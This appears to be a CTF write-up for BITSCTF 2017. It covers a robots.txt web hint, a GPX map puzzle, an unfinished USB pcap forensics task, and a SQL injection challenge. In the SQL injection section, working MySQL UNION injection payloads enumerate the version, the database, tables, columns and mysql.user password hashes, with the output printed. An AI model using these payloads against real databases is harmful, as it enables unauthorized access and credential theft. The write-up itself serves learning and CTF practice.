Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : BITSCTF 2017
- Website : bitsctf.bits-quark.org
- Type : Online
- Format : Jeopardy
- CTF Time : link
10 - BotBot - web#
Should not ask for the description of a 5 marker.
Let's look at the source code:
Now go to http://botbot.bitsctf.bits-quark.org/robots.txt
:
http://botbot.bitsctf.bits-quark.org/fl4g/ :
20 - Labour - Misc#
Follow your heart, for it leads you straight to the answer.
It's a gpx file:
We can open it online with:
Take the waypoint in order and write the name of the country:
- WP01-A - Bangladesh
- WP02-B - India
- WP03-C - Turkmenistan
- WP04-D - Sudan
- WP05-E - Chad
- WP06-F - Thailand
- WP07-G - France
- WP08-H - Malesia
- WP09-I - Afganistan
- WP10-J - Pakistan
- WP11-K - Turkey
- WP12-L - Hungary
- WP13-M - Egypt
- WP14-N - Haiti
- WP15-O - Angola
- WP16-P - China
- WP17-Q - Kazaksztan
Taking the first letter of each country in order give me BITSCTFMAPTHEHACK and the comment said:
Use appropriate brackets and underscores to separate words if you succeed
So I get BITSCTF{MAP_THE_HACK}
30 - Batman vs Joker - Web
Joker has left a message for you. Your job is to get to the message asap.
Try a quick ' or 1=1 #'
: this is working so we have a vulnerable MySQL database.
Let's enjoy SQLi.
Just curious to know the DB version: ' or 1=1 UNION SELECT @@version,1 #
: 5.5.54-0+deb8u1
Current databse name: ' or 1=1 UNION SELECT database(),1 #
: hack
Just curious to list the databse users: ' or 1=1 UNION SELECT host, user FROM mysql.user #
and ' or 1=1 UNION SELECT user, password FROM mysql.user #
:
host | user | password |
---|---|---|
% | tester | *975B2CD4FF9AE554FE8AD33168FBFC326D2021DD |
127.0.0.1, 33842653d6db, ::1, localhost | root | *A2AE2E3109CE064A1AED30C0E71E021540F30700 |
localhost | debian-sys-maint | *A9A6626F5FEE26E9EDDE42FF9274124A98F82A3F |
I want to know the name of tables in the hack databse: ' or 1=1 UNION SELECT table_schema, table_name FROM information_schema.columns WHERE table_schema = 'hack' #
:
table_schema | table_name |
---|---|
hack | CIA_Official_Records |
hack | joker |
And finally I want to know the name of columns in the both previous tables: ' or 1=1 UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'CIA_Official_Records' or table_name = 'joker' #
:
table_name | column_name |
---|---|
CIA_Official_Records | id |
CIA_Official_Records | username |
CIA_Official_Records | first_name |
CIA_Official_Records | last_name |
Joker | Flag |
Joker | HaHaHa |
Pretty easy to know where to find the flag now: ' or 1=1 UNION SELECT Flag, HaHaHa FROM Joker #
:
Flag | HaHaHa |
---|---|
BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!} | Enjoying the game Batman!!! |
50 - Tom and Jerry - Forensics#
WARNING: we didn't solve this challenge, so write-up is incomplete.
Open the pcapng with Wireshark.
Device Descriptor tell us:
So this is a Pen Tablet.
We can use a filter usb.transfer_type == 0x01
to oly see frame where there is data.
We can complete the filter with (frame.len == 73)
to see only one side of the exchange and !(usb.capdata == 00:00:00:00:00:00:00:00)
to hide null data. Finally that give us this filter: ((usb.transfer_type == 0x01) && (frame.len == 73)) && !(usb.capdata == 00:00:00:00:00:00:00:00)
.
USB transfert type is USB INTERRUPT: http://www.beyondlogic.org/usbnutshell/usb4.shtml#Interrupt
To extract the data only from the pcapng I used tshark:
I didn't have time to search how to interpret the raw data into coordinates.